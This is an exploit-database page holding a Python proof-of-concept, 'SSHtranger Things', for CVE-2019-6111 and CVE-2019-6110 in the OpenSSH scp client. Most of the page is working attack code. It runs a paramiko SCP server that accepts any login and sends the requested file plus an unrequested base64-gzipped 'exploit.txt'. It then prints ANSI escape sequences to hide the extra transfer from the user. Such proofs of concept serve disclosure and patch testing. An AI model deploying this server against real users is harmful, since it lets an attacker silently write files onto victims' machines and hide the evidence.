SSHtranger Things SCP Client File Issue

2019.01.19
Credit: Mark E. Haase
Risk: Low
Local: Yes
Remote: No
CWE: N/A

# Exploit Title: SSHtranger Things # Date: 2019-01-17 # Exploit Author: Mark E. Haase <mhaase@hyperiongray.com> # Vendor Homepage: https://www.openssh.com/ # Software Link: [download link if available] # Version: OpenSSH 7.6p1 # Tested on: Ubuntu 18.04.1 LTS # CVE : CVE-2019-6111, CVE-2019-6110 ''' Title: SSHtranger Things Author: Mark E. Haase <mhaase@hyperiongray.com> Homepage: https://www.hyperiongray.com Date: 2019-01-17 CVE: CVE-2019-6111, CVE-2019-6110 Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1 We have nicknamed this "SSHtranger Things" because the bug is so old it could be exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko` package. The server listens on port 2222. It accepts any username and password, and it generates a new host key every time you run it. $ python3 sshtranger_things.py Download a file using a vulnerable client. The local path must be a dot: $ scp -P 2222 foo@localhost:test.txt . The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established. RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts. foo@localhost's password: test.txt 100% 32 0.7KB/s 00:00 The file you requested (e.g. test.txt) will be saved in your current directory. If your client is vulnerable, you will have an additional file "exploit.txt" created in your current directory. $ cat test.txt This is the file you requested. $ cat exploit.txt SSHtranger Things The interesting code is in ScpServer.send_file(). ''' import base64 import gzip import logging import paramiko import paramiko.rsakey import socket import threading logging.basicConfig(level=logging.INFO) dummy = 'This is the file you requested.\n' payload = gzip.decompress(base64.b64decode( b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46' b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA' b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7' b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d' b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM' b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz' b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4' b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc' b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS' b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA' )) class ScpServer(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_auth_password(self, username, password): logging.info('Authenticated with %s:%s', username, password) return paramiko.AUTH_SUCCESSFUL def check_channel_request(self, kind, chanid): logging.info('Opened session channel %d', chanid) if kind == "session": return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_channel_exec_request(self, channel, command): command = command.decode('ascii') logging.info('Approving exec request: %s', command) parts = command.split(' ') # Make sure that this is a request to get a file: assert parts[0] == 'scp' assert '-f' in parts file = parts[-1] # Send file from a new thread. threading.Thread(target=self.send_file, args=(channel, file)).start() return True def send_file(self, channel, file): ''' The meat of the exploit: 1. Send the requested file. 2. Send another file (exploit.txt) that was not requested. 3. Print ANSI escape sequences to stderr to hide the transfer of exploit.txt. ''' def wait_ok(): assert channel.recv(1024) == b'\x00' def send_ok(): channel.sendall(b'\x00') wait_ok() logging.info('Sending requested file "%s" to channel %d', file, channel.get_id()) command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii') channel.sendall(command) wait_ok() channel.sendall(dummy) send_ok() wait_ok() # This is CVE-2019-6111: whatever file the client requested, we send # them 'exploit.txt' instead. logging.info('Sending malicious file "exploit.txt" to channel %d', channel.get_id()) command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii') channel.sendall(command) wait_ok() channel.sendall(payload) send_ok() wait_ok() # This is CVE-2019-6110: the client will display the text that we send # to stderr, even if it contains ANSI escape sequences. We can send # ANSI codes that clear the current line to hide the fact that a second # file was transmitted.. logging.info('Covering our tracks by sending ANSI escape sequence') channel.sendall_stderr("\x1b[1A".encode('ascii')) channel.close() def main(): logging.info('Creating a temporary RSA host key...') host_key = paramiko.rsakey.RSAKey.generate(1024) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('localhost', 2222)) sock.listen(0) logging.info('Listening on port 2222...') while True: client, addr = sock.accept() logging.info('Received connection from %s:%s', *addr) transport = paramiko.Transport(client) transport.add_server_key(host_key) server = ScpServer() transport.start_server(server=server) if __name__ == '__main__': main()


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